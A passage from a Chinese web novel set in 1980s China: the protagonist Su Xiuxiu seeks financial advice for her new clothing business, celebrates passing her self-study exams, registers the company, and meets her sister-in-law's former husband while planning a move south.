“早上菜新鲜,小方想吃酸菜鱼。”王老师软磨硬泡才好不容易让老婆同意怀孕,现在让他给老婆当孙子他都愿意。
周北冀骑上车等苗秀秀上了车才说:“我也想吃酸菜鱼。”“你只配吃屁,想吃自己不会做。”苗秀秀一想起吉小楠就不痛快。
周北冀暂时认怂,怎么也得把中午这顿饭对付过去。
作为八十年代首屈一指的高档饭店,北京饭店外在内在都很气派,苗秀秀上辈子走南闯北各地的豪华饭店都去过,这辈子虽然头一次来这里,也没觉得有什么特别。
她和周北冀到的不算晚,包间里才到了不到一半人。苗秀秀看到吉小楠坐在一个中年男人身旁,猜到那就是她发了财的舅舅。那人大概常年往南方跑,打扮得像个港客,梳大背头,穿一件花衬衫,在房间里还戴着茶色眼镜,说话倒是乡音未改,一听就是京油子。
相比之下,吉小楠的哥哥和舅舅气质差得很远,舅舅像个暴发户,吉小楠哥哥穿西装戴金丝眼镜,看起来儒雅清瘦,像个文弱的知识分子。苗秀秀没想到周北冀会和这样的人处成哥们儿。
周北冀把吉小楠哥哥吉小彬介绍给苗秀秀,说他刚从美国公派留学回来,是研究经济的专家。
这么年轻就专家了?苗秀秀有点不相信。
这你就不知道了吧,小彬他妈张阿姨是人大的经济学教授,小彬十九岁就被公派出国了,先是去苏联,后来又去了美国,现在回国进大学当讲师。
那他妹妹怎么当兵了?
她学习没她哥好呗。就算是状元之家,也不是家里个个都能考中秀才,小彬天生是读书的料,从小到大回回考第一。周北冀自己学业不好不坏,中上等,对吉小彬这种天生学霸不无崇拜之情。
“那我能不能聘请他当财务总监?”苗秀秀突发奇想。
“财务总监?”
“就是财务经理,管账的。”
“杀鸡焉用牛刀。人家是研究宏观经济学的,去给你们个体户小公司管账,大材小用。”
“试试看嘛,或者他能给我推荐一个可靠的人。”苗秀秀觉得就该利用身边一切可以利用的资源。虽然她的公司现在可能规模小产品单一人家看不上,不代表她将来不能发展壮大,找一个懂经济的人当高参总不会有错。她虽然精通设计,但对政策的研究可没人家这些专家专业对口。
苗秀秀是个想到什么主意就立刻付诸实践的人,一桌宾客推杯换盏的时候,她主动坐到吉小彬身边和他套近乎寒暄。
吉小彬早就听周围人和他妹妹说起过苗秀秀,相见之下,觉得苗秀秀本人和传言里很不一样,尤其是和他妹妹说得不一样。苗秀秀非但一点也不小家子气,相反她落落大方,思想和观点也很跟得上时代。
听说她要和杨澍合伙开服装公司,她自己当设计师,吉小彬更惊讶了,“你要开公司?不错,很有魄力,现在正是国家经济转型的开始,以后个人开公司会越来越多。”
“就是因为这几年国家政策逐渐放开,我们才想尝试一
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下创业。什么都准备得差不多了,就是差一个分管财务的经理,您有没有什么可以推荐的人选?”苗秀秀也不兜圈子,直接表达诉求。
“我是学经济的,跟干财务是两码事,不过你既然说了,我倒是可以帮你留意留意,我家楼下邻居是会计系副教授,她有不少学生在银行和大企业工作,要是有想跳槽换地方的,可以帮忙搭个线。”
“那就拜托您了,改天让周北冀请您吃饭。”
“客气什么,一句话的事。”
“您讲课我能去旁听吗,我读书少没上过大学,特别想跟您学学经济方面的知识。”
“旁听学校没这先例,我们讲课也不能随便让校外的人进教室,但是你可以参加我们学校的研修班,我在那边也讲课。”
“研修班什么时候开班,您给我招生简章,我去报名。”
吉小彬看苗秀秀这么积极,给她自己的电话号码,说可以随时联系。苗秀秀兴奋地把电话号码纸放进皮包里。
吉小楠吃饭之余看到自己哥哥和周北冀那个乡下老婆不知道聊什么聊那么久,满心不高兴,心说这女的也太不拿自己当外人了,当着丈夫的面就和别的男人说话说半天。
“哥,你再不吃,你爱吃的锅包肉就没了。”吉小楠忍不住叫了她哥一声。吉小彬应了一声,却也没动筷子,仍是关注地听苗秀秀讲述参加广交会的经历,不时点头。
吉小楠白了他哥一眼,又去看周北冀,周北冀也没在吃菜,而是和身旁的人头挨着头说话,像是在说什么有意思的事,不时笑一声,对自己老婆和别人坐在一起聊天视而不见。
这两口子,真是……吉小楠既疑惑又不甘心,周北冀对他媳妇到底是什么意思?都说他俩感情挺好的,可他竟然不吃醋,说不好吧,他连请客吃饭都带着他媳妇盛装出席,孰是孰非让人猜不透。
和吉小彬聊得很愉快,苗秀秀回到周北冀身边,俯下身在他耳边说:“我们一起敬小彬哥一杯好不好?”“你跟他谈得差不多了?”周北冀仰脸看着她。苗秀秀轻轻点了一下头,“他答应帮忙,还让我去上他们学校的研修班听他讲课。”
“好。”周北冀主动站起来,清了清嗓子,和媳妇一起给吉小彬敬酒。吉小彬笑着指了指他俩,“谁跟谁啊,还来这一套。得,在弟妹面前给你个面子。”
说话间,他站起来,把杯中酒一饮而尽。周北冀也把酒喝了。
苗秀秀看着他俩,心说,这吉小彬确实是个极爽快的人,一点都不像外表看起来那么文弱,如果不是言出必行、做人做事有口碑,在朋友圈里也不会这么有威望。连他舅舅请客,都有这么多人愿意给面子捧场。
66. 第六十五章
五月的某天,周北冀给苗秀秀打电话,“你们明天几点出成绩?”“明天成绩就出来了?还挺快的,我以为要到月底。”苗秀秀正在裁缝铺画设计图,早把自考的事忘记到了爪哇国。
“大姐,你都不关心一下自己考得怎么样?连出成绩的时间都不知道。”周北冀有点无语,苗秀秀这段时间魔障了一般,整天就知道画图画图,画图比他这个老公还亲。
苗秀秀听出丈夫语气里的不满,安抚他:“我肯定能及格,不用担心。你明天回不回家?要是回的话,我明天上午去买菜。”
“明天我先去教育局帮你看榜,你就别去了,在家里等着我,也别买菜了,我说过,考得好请你去吃西餐。”周北冀对媳妇还是有点信心的,虽然平时学习不怎么认真,突击那两个星期估计及格没问题。
“行,明天咱去长富宫吃日本料理。”苗秀秀故意使了个心眼,像周北冀这样生在新中国长在红旗下根红苗正的人是不可能去吃小日本的饭的。
如她所料,周北冀说:“屁,我才不吃鬼子菜,换一个。”“那就去吃法国菜,我喜欢吃法餐的甜品。”
“拐弯抹角搁这儿等着我呢?”周北冀聪明的很,什么听不出来。
“我怕你对法国犯克,一听法国就头晕。”苗秀秀笑。
“晕多了不就习惯了。”周北冀和苗秀秀在一起久了,熟练掌握了她说话的套路。
“孺子可教,你是越来越上道了,世界头号大聪明。”苗秀秀夸老公夸得天花乱坠。
“别贫了,要是明天发榜查成绩你考得没你吹得好,回家打屁股。”周北冀调侃地说。
“那多不好意思啊,我考得不好是我不够用功,打你屁股算怎么个事儿。”苗秀秀咯咯娇笑。
“滚,脸皮真厚。”周北冀笑着把电话挂了。
第二天上午,苗秀秀没有去店里,独自在家里打扫卫生,快到中午的时候,听到走廊上传来一阵跑步声,还以为出了什么事,正要到走廊上去看,谁知刚走到门口就和周北冀撞个满怀。
“你怎么了你,回家还这么莽撞?”苗秀秀抱怨的话音未落,整个人就已经被周北冀抱起来转圈。
“秀秀秀秀,你六门全过啦,英语还考了满分。秀秀,你太了不起了,我为你骄傲。”周北冀兴奋得大叫。
“过就过呗,你看你发癫了一样,我不是早就告诉你我肯定能过。”苗秀秀虽然也很高兴,但在意料之中,就没周北冀那么激动。
“哎呀,我今天去看榜,你门门都考了八十分以上,英语还满分,你知道我有多高兴吗,以后谁再敢说我媳妇没文化,我跟他急。”周北冀捧住媳妇的脸,亲了好几口,比他自己英语考了满分还高兴。
苗秀秀这才明白,这家伙也是在替他自己争面子,估计他那些哥们儿朋友的老婆、女朋友都有学历,都是知识分子文化人,只有他娶了自己这个初中没毕业的,就算他不说,不代表他心里不介意别人说她没文化。
周北冀打电话回家报喜,恨不得声调高八度,跟踩了电门一样嘚瑟个不停,“全市就三个英语满分的,秀秀是其中之一,秀秀高数也考了九十多分,其他几门全都在八十分以上。”
苗秀秀头回看他这么激动和兴奋,摇摇他胳膊,让他悠着点,他妈好歹是个主任医生、大教授,人家什么样的学霸没见过。
“妈让咱俩晚上回家吃饭,她要好好给你庆祝一下。”周北冀把电话挂了,把好消息告诉媳妇。
“这点小事还值得庆祝?又不是考上大学,明年还有五门呢,考过了才能拿到文凭。”
“当然值得庆祝,那年中中考上北大,我妈在家里请客,摆了五桌酒席,这回你考得这么好,全家人一起吃个饭庆祝也是应该的。”周北冀太高兴了,媳妇没有辜负他的期望,太给他长脸了。
不过一下午时间,苗秀秀自考一次考过六门英语满分的事传遍了全大院,人人都在说,周家这个小儿媳妇虽然是农村来的,倒是很聪明,不仅会裁剪做衣服,学习也是这么厉害,初中没毕业英语都能考满分,可见平时没少下功夫,人不可貌相。
晚上在周家,一大家人聚餐,除了为苗秀秀庆祝,也是为庆祝周北冀的大哥周岭东升迁。全国几大军区合并的合并,裁撤的裁撤,周岭东所在部队并入兰州军区,周岭东升任旅长,工作地由乌鲁木齐迁到兰州。
“大哥还不到四十岁,这么年轻就副师级旅长了,你才副营,不还知道要熬多少年才能到人家那个级别。”苗秀秀艳羡看着周岭东簇新的军装和肩章,心里感慨,还是地方上升迁快,不像首都,这要熬到她当上将军夫人,估计头发都得熬白了。
周北冀凑在她耳边说:“我大哥那是出生入死参加过多次边境战争有军功才升迁这么快,到现在他左肩还有一颗子弹卡在骨头里取不出来,前前后后手术好几回,这次回雁京就是来动手术,医生说再不把子弹取出来,他整个左胳膊都会受影响。”
“啊?子弹卡在骨头里,那岂不是经常会疼?他也去过越南战场?”苗秀秀肃然起敬。对保家卫国的军人,给多高的荣誉都不为过。
“没有,他一直在新疆,那边边境经常打仗,你不知道而已。”周北冀拿着酒杯,和他大哥隔空对了对,举杯一饮而尽。事后说起来似乎稀松平常,但哪一次不是生死的考验。战场有多残酷,他是亲身经历过的,刚回雁京那两年,他经常梦到那些炮灰纷飞的日子,战友和敌人血肉模糊的样子,让他不止一次从梦中惊醒。
“我要给大哥点个赞。”
“什么叫点个赞?”
“就是竖起大拇指。”苗秀秀比划。周北冀有意问她,“不给我点赞?”
“点点点,给你点,军功章不用分我一半,全都是你的。”苗秀秀殷勤地给丈夫倒酒。军人家庭的聚会,喝茅台是少不了的,自从那次喝醉,她不让他再喝白酒,这样喜庆的日子还是得允许他喝的。
她讨好卖乖的样子让周北冀心情大好,这女人拿捏别人的情绪是把好手。
“大哥去兰州工作,那大嫂怎么办?还留在雁京和他两地分居?我听妈说,乐乐九月就上小学了。”苗秀秀悄悄问周北冀。
“大哥当然是想老婆孩子都跟着他去兰州,之前在新疆,条件太艰苦了,才会一直两地分居,现在去兰州改善了不少,他想把大嫂调去当地工作,乐乐也在那边上小学,等读初中再送回雁京。”
“大嫂去可以,小孩子没必要跟着折腾吧,以大哥的能力,肯定不会一直在兰州,没准过两年就调回卫戍区了,乐乐留在雁京上学肯定比在兰州好。”
“几年之内是回不
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来的。要是乐乐不跟着去,大嫂舍不得离开孩子,估计也不会去。”周北冀看到大嫂吴秀清抱着女儿乐乐说话,猜测她多半会为了女儿不去兰州,转念一想,问苗秀秀:“我明年毕业,过后也会去基层部队,你跟不跟我去随军?”
苗秀秀一怔,“你要去基层?去什么地方?”
“还没想好。”
“不对,你这么说肯定是想过的,你想离开雁京?”
苗秀秀深知周北冀不是那种随便说说的性格,他说毕业后去基层部队,就一定会去,而且是深思熟虑过的,这种关系到他未来前途的大事情,就算她有意见,他也不会改主意。
“是有这个想法,但还没想好去哪里。”全国这么大,到处都有部队驻扎,他想锻炼有的是地方,无非就是条件好一点的还是条件差的地方。要像以前他还是个单身青年,那广阔天地随他去哪儿,现在他有家庭了,有了妻子,他也得替她考虑。
苗秀秀灵机一动,“去深圳吧,广州也行,你不是有战友在那边,南方现在发展经济如火如荼,我要是跟你一起过去,把公司开在那边,特区还有各种优惠政策。”
听她这么说,周北冀的眼睛亮了,“你跟我想到一起去了,我真的想过要去广州,之前周天祁跟我说过这事,我一直没拿定主意,我知道你一心想开公司搞事业,肯定不愿意离开雁京去随军,所以我就没把这事告诉你。”
苗秀秀赞同他,“你现在告诉我也不晚,别的地方就算了,广州深圳我可以跟你一起过去,我还有把握说动杨澍一起把公司开过去,那边离香港近,服装工厂也多,进出口贸易特别方便。”
虽然周家和杨澍家的主要人脉在雁京,但是他们这样的家庭,想要去陌生地方建立人脉比普通人要容易,赶上改革开放的好时机,去南方大展宏图未为不可。
“还得带着他?我说你可真是——”周北冀无奈。
苗秀秀纠正他,“不是带着他,是邀请他一起共创未来,公司草创初期,通讯不发达,两个合伙人相隔天南海北的哪行。你放心,杨澍也早就想离开雁京去南方看看了,上回广交会他去不了一直惋惜。”
“那你们公司打算注册在哪里?”
“就在雁京注册,等你去广东以后,我们在那边成立分公司,雁京这边高斌彭娜留守,我们去那边开拓市场寻找新的合作伙伴。”
苗秀秀对自己的能力很有信心。
公司正式去办理工商登记这一天,苗秀秀起了个大早,和杨澍约在工商局门口见面。两人穿得都挺正式,不知道还以为是去登记结婚。公司章程是高斌帮忙拟定的,因为有公职在身,高斌彭娜不方便出资,苗秀秀提议聘请彭娜当董事。
拿到了营业执照,苗秀秀看到法人那一栏写着自己名字,心情格外好,笑着对杨澍调侃道:“从现在起,咱也是要被绳之以法的人了。”
“什么?绳之以法?”杨澍可没听过法人就是被绳之以法的人这个梗。
“没什么,杨总,从现在起主内主外都是你,我只负责设计和营销,虽然我是法人,但经营管理都听你的。”董事长苗秀秀对总经理杨澍委以重任。
“中午我约了高斌两口子吃饭,顺便给你们引荐一个人。”
“谁?”
“去了你就知道。”
67. 第六十六章
杨澍神秘兮兮卖关子,苗秀秀也就不多问。中午吃饭的时候一看,果然如她所料,杨澍带来的是他那个混血女朋友Lora。
杨澍顺利转业后,Lora背着父母偷偷跑到雁京来找杨澍,两人已经正式确定恋爱关系。苗秀秀替他们高兴,Lora一看就是个善良可爱的女孩子,虽然说着蹩脚的中文,却是一心想融入这里,连头发都染成了黑色,还穿着一件土不土洋不洋的红底绿花旗袍。
“你从哪儿给她买的这件衣服,怎么这么难看?”苗秀秀越看Lora穿的丑旗袍越不顺眼,明明这么漂亮的混血姑娘,非得个人家整一件老太太都不穿的款式。再加个绿头巾,活像过去北方农村的小媳妇。
“哪是我买的,我审美没这么差,是她自己来之前在巴黎唐人街小店淘的,她以为中国人都穿这个,为了入乡随俗。”杨澍看了Lora一眼,幸亏她皮肤雪白,不然就这一身红配绿,走大街不得被人笑死。
“可见我们的文化输出多么不到位,外国人没准以为我们国内街上还在跑马车,回头你带她去我店里,她要是喜欢旗袍唐装,我给她做几件,包管她喜欢。”
“行,我让她明天就去找你。”
和高斌彭娜说起公司将来要在广东设立分公司的事,他俩也很支持,说公司想要搞大,就得去南方学习经验,利用当地的政策优惠搞进出口贸易。
“你呢?想把家安在哪里?”苗秀秀问杨澍。
杨澍斟酌片刻才说:“我父母自然是希望我留在雁京,但是我自己想去南方闯荡几年,所以你一说要把分公司开在广州深圳,我就特别赞成,现在南方政策好思路活,我早就想去了,但是想把生意做大,没有这边的人脉维系也是不行的,所以我到时候可能两边跑。”
高斌说:“你们去那边挺好的,将来我和彭娜留在雁京抓生产,杨澍人脉广路子熟,往返两地负责供销,秀秀可以安心搞设计,这样我们几个人的家庭事业都不耽误。”
“对啊。”彭娜在一旁附和,“深圳离香港近,那边衣服又潮又时髦,我们把样式引进过来肯定不愁销路。”
创业团队越聊越默契,心里都涌动着一种跃跃欲试。赶上了最好的时代,他们又都是不安于现状的人,只等着一个契机,就能大展宏图。
这顿饭一直吃到下午三点多,和其他人告别后,苗秀秀独自骑车回家,初夏午后的风暖暖的,看着眼前百废待兴的城市,到处生机勃勃。
到这里整整一年了,体会过酸甜苦辣,但整体来说是甜蜜的时候多,也切实体会了活着的意义,在这里,她不再像上辈子那样生活里只有工作、只有赶不完的设计稿,也有了意气相投的朋友、有了萦绕心头的爱情,一切都让她很满足。
骑车快到大院门口,苗秀秀一个转弯,不留神撞上一个人。车身一歪,她就从车上掉了下来,站起来刚要骂,却见被她撞到那人是个高大瘦削的年轻男人,被车撞了也不说话,怯生生的样子。
“你是……你是……”那个年轻人看起来有点畏畏缩缩,似乎想和苗秀秀说话又不好意思。
苗秀秀见他穿一身破旧衣服,以为是自己乡下老家的亲戚,疑惑地问:“你认识我?你是哪位啊?”
年轻人羞赧地看着光鲜亮丽的苗秀秀,半天才期期艾艾说:“我是……是……那个,你是不是周家人?”
“周家?这院里住着好多姓周的,你说的是哪个周家?”苗秀秀想,要是周家亲戚从陕西老家过来,肯定会让门口警卫员联系周家人,而不是这样在大门口拦人。
“就是周湘南家。”年轻人像是鼓起了勇气,一双和善的眼睛看着苗秀秀。苗秀秀一听周湘南,立刻福至心灵,这大哥莫非就是周湘南插队时的前夫、陕北那一位,他怎么跑雁京来了?怎么周湘南一离婚,这人也跟着冒出来了?
“周湘南是我爱人的姐姐,我大姑子,您是陕西那个……”
年轻人点了点头,“是我……我刚从陕西过来。”
“您等一下。”苗秀秀想了想,到传达室借电话打给周北冀,说明情况,听到周北冀在电话那边大吃一惊的语气,苗秀秀催促他赶紧回家来。
把人领到附近的小饭店,苗秀秀一边等着丈夫过来,一边询问周湘南前夫,周湘南前夫告诉她,他叫吕鑫。
“你来找大姐是想再见她一面?”苗秀秀试探地问。
吕鑫点了点头,告诉苗秀秀,他来雁京几天了,好不容易打听到军区大院所在地,门口的警卫不让他进去,他只好在门口等,想和周湘南偶遇,门口的警卫员看他天天来,就告诉他,周参谋长家的人不是他想见就能见到的,让他联系好了再来。
“早上你出去的时候,警卫告诉我,你是周家的儿媳妇,所以我在门口等,正好遇到你回来。”吕鑫说话虽然是陕西口音,但吐字清晰,苗秀秀都能听懂。
“大姐结过婚了,你不知道?”
“我知道,她给我写过信。”
“那你这回来?”
“就是想再见一次,没有别的目的,我这回离开家乡是要去南方打工了。”
“打工?你能做什么呀?”苗秀秀嘀咕着,记得周北冀好像说过,他这个前姐夫不认识字,就算出去打工,也只能干点体力活。
“我叔叔在深圳包工程,喊我过去帮忙,我现在认识字了,小南走了以后,我上了村里的扫盲班,还跟着村里小学学了几年,我会写信看报纸了。”吕鑫有点不好意思地说。
“我不是那个意思,姐夫,我的意思……我也没什么意思,就是这事吧,您看大姐也都结过婚了,那
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什么……”苗秀秀正思索着如何措辞,抬眼看到周北冀急冲冲从外面进来,赶忙招呼他。
苗秀秀给他俩做介绍,“我对象小周。”周北冀主动伸出手去和吕鑫握手。吕鑫受宠若惊,打量着这个素未谋面的小舅子,心中感慨万千。
了解了情况,周北冀说:“吕大哥,要不这样吧,你写一封信给我姐,我姐要是愿意见你,我就和她约好时间带她来见你,要是她不愿意,那我们也没办法。”
吕鑫也知道自己这么冒冒失失到雁京来找周湘南非常草率,周北冀愿意帮他这个忙,他正求之不得,找饭店的人借了纸笔,一笔一划写了一封信,交给周北冀。周北冀郑重其事装到军装口袋里,承诺一定会带给姐姐。
晚上,周北冀去找过周湘南后回到家里,苗秀秀问他,“你觉得大姐会见他这一面吗?”
周北冀摇头,“不好说,大姐申请去美国进修一年的报告已经批下来了,下星期就走,为了这次进修,大姐准备了很长时间,她不可能放弃这次机会。”
“进修和他俩见面有关系吗?出国前见一次不正好了却心头遗憾。”
“哎,你不懂。”
“怎么,你还掌握了什么我不知道的情报?还不从实招来。”
“也不是,我就是觉得她前夫这回来找她,肯定不只是想见一面这么简单,我怀疑他从哪里知道了我姐离婚的事,还惦记着我姐呢。”
“他在陕西哎,怎么可能知道你姐离婚的事,你姐离婚还不到一个月他就能知道?”苗秀秀不相信。
“世界这么大有什么事情是不可能的?你没听他说,他叔叔在深圳当包工头,别忘了,另一个姐夫和我姐离婚后也辞职去了深圳,听说应聘在一家房地产公司。”周北冀虽然觉得事情蹊跷,但也进行合理猜测。
倒是忘了这茬,凭苗秀秀的记忆,日后的房地产大佬卢江宇发迹就是从一家位于深圳蛇口工业区的小房地产公司开始。
“那要是这样的话,世界可真是太小了。”苗秀秀想了想,说:“我觉得大姐会见他。”
“为啥?”
“见一面又不会死,对方总不见得赖上她。”
“说的也是。”
“反正前姐夫住的小旅馆电话你也告诉大姐了,见不见是他俩自己的事,你就别操心了。咱俩先规划一下将来到底是去深圳还是去广州。”
苗秀秀拿出准备好的广东省地图,准备和丈夫一起研究研究他俩将来安家的地方。
“咱俩扔飞镖决定吧,扔到广州去广州,扔到深圳去深圳。”周北冀突发奇想。苗秀秀立刻同意,把地图撕成两片,分别挂在墙上。
每人手里三根飞镖,闭上眼睛把飞镖扔出去。
睁开眼睛,看着墙上的飞镖,两人相视一笑。